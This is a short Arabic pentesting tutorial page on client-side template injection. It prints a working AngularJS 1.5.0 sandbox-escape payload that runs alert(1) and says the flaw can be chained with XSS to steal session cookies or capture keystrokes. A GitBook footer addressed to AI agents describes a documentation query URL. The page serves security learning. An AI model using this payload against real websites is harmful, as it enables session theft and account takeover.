> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md).

# تقنيات CSTI

كيف نعرف ما إذا كان موقع ويب عرضةً لهجوم بشكل محتمل **CSTI** ؟ إذا استطعنا إدخال قيمة في **الإدخال** كما في الحالة أدناه مع المتغير **المستخدم** ويتم تفسير ذلك في **المخرجات**:

<figure><img src="/files/7b2e59bf2285db3b21d8d7aebeedeec260526347" alt="" width="563"><figcaption></figcaption></figure>

على سبيل المثال، من خلال مراقبة خادم الويب **الشفرة المصدرية**، إذا كان يستخدم لغات برمجة أو محركات قوالب مثل **Python وJava وJinja2 وAngularJS، إلخ.** وإذا لم يتم تنقية الإدخال، فقد تكون الثغرة موجودة:

<figure><img src="/files/2eccf2828c588e0753a7e942d4239835b3a53911" alt="" width="563"><figcaption></figcaption></figure>

بفضل موقع [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings)، نجد جميع [عمليات الحقن الممكنة](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md): في هذه الحالة، نرى أن الإصدار هو الـ **1.5.0** من **Angular.JS**:

<figure><img src="/files/ecdb92c89154782a5d65d496ec68281c5a035510" alt="" width="563"><figcaption></figcaption></figure>

```javascript
javascriptانسخ الشفرة{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

```

يمكننا إرسال **تنبيهات** كما في الهجوم **XXS**:

<figure><img src="/files/c985f01794419fa31eefe7c0f5b25b667bfac566" alt="" width="563"><figcaption></figcaption></figure>

يمكن استخدام هذا لدمج هذا الهجوم مع [XSS ](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss.md)وكما يلي:

* *سرقة ملفات تعريف ارتباط الجلسة*
* *التقاط جميع ضغطات المفاتيح*
* *الحصول على وصول إلى الخادم، إلخ*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
